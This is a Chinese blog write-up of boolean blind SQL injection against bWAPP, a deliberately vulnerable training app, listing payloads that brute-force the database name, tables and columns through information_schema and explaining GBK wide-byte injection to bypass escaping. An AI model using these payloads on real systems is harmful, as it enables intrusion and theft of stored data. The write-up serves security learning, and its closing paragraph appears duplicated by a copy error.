bWAPP-SQLiBlind

hee_mee發表於2020-09-26

布林盲注

基本流程

1.判斷注入點

'
' or 1=1#
' or 1=2#

在這裡插入圖片描述

在這裡插入圖片描述

在這裡插入圖片描述

2.判斷資料庫長度並逐個爆破(count/length/mid)

  • 使用length()函式判斷資料庫長度(二分法)
-- 前面放回false 執行or 後面的語句如果返回true則資料庫長度大於該值,反之小於
' or length(database()) >  8#
' or length(database()) >  4#
' or length(database()) >  6#

在這裡插入圖片描述

在這裡插入圖片描述

在這裡插入圖片描述

故資料庫長度為5

' or length(database()) =  5#

在這裡插入圖片描述

  • 逐個字元爆破資料庫名

    使用midsubstring擷取字元並逐個判斷

    --' or ascii(mid(database(),1,1))>110 #
    ' or ascii(substring(database(),1,1))>100 # (false)
    ' or ascii(substring(database(),1,1))>95 # (true)
    ' or ascii(substring(database(),1,1))>97 # (true)
    ' or ascii(substring(database(),1,1))>99 # (flase)
    ' or ascii(substring(database(),1,1))= 98 # (true)
    

在這裡插入圖片描述

98對應為字元 b

ascii碼對照

在這裡插入圖片描述

以此類推得到表名

爆破錶的個數/長度/表名(count/length/mid)

  • 爆破錶的個數
or (select count(table_name) from information_schema.tables where table_schema=database())>5 #
  • 爆破錶的長度
' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) > 5 #
  • 爆破字元
' or ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100 # 

爆破列個數/長度/列名(count/length/mid)

  • 爆破列的個數
' or (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users') > 5 #
  • 爆破列的長度
' or length((select column_name from information_schema.columns where 
 table_schema=database() and table_name='users' limit 0,1)) > 5 #
  • 爆破列名
' or ascii(mid((select column_name from information_schema.columns where 
 table_schema=database() and table_name='users' limit 0,1),1,1)) > 105 #

base

low

直接注入,可使用sqlmap進行注入

mid/high

採用了addslashed()和mysqli_real_escape_string()函式,

且mysql編碼和os編碼一致, 無法用寬位元組繞過,

寬位元組注入

注入原理

注入原理很簡單, 就是編碼, 一點一點分析:

假設一個url有注入, 但是有安全函式, 我們敲單引號會被過濾,那麼怎麼辦呢?這時候就利用GBK雙位元組注入

我們在後邊這麼構造url一個嘗試:

http://www.****.com/index.php?id=1%df' and 1=1

其中,

%df ’ 經過安全函式之後在 ’ 之前會被加上一個轉義符號’’, 即: %df '

由於採用的是url編碼, 最後轉化為:

%df%5c%27

關鍵就在這,%df會吃掉%5c,形成一個新的位元組, 形象一點就是%df遇到%5c會把%5c吃掉,形成%df%5c,這個編碼經過程式碼

解碼後會形成一個漢字“誠”

還不明白? 沒關係, 舉一個簡單的栗子:

xi’an (西安) ==> xian(先)

值得一提的是, 並不是唯一的使用%df, 只要編碼超過ascii碼(128)之後, 可以自己組合。只要是漢字就都可以使用

總的來解釋一下,

因為%df的關係,\的編碼%5c被吃掉了,也就失去了轉義的效果,即安全函式喪失了作用, 被直接帶入到mysql中,然後mysql在解讀時無視了%df%5c形成的新位元組,那麼單引號便重新發揮了效果, 就可以構造注入了。

以自己組合。只要是漢字就都可以使用**

總的來解釋一下,

因為%df的關係,\的編碼%5c被吃掉了,也就失去了轉義的效果,即安全函式喪失了作用, 被直接帶入到mysql中,然後mysql在解讀時無視了%df%5c形成的新位元組,那麼單引號便重新發揮了效果, 就可以構造注入了。

寬位元組注入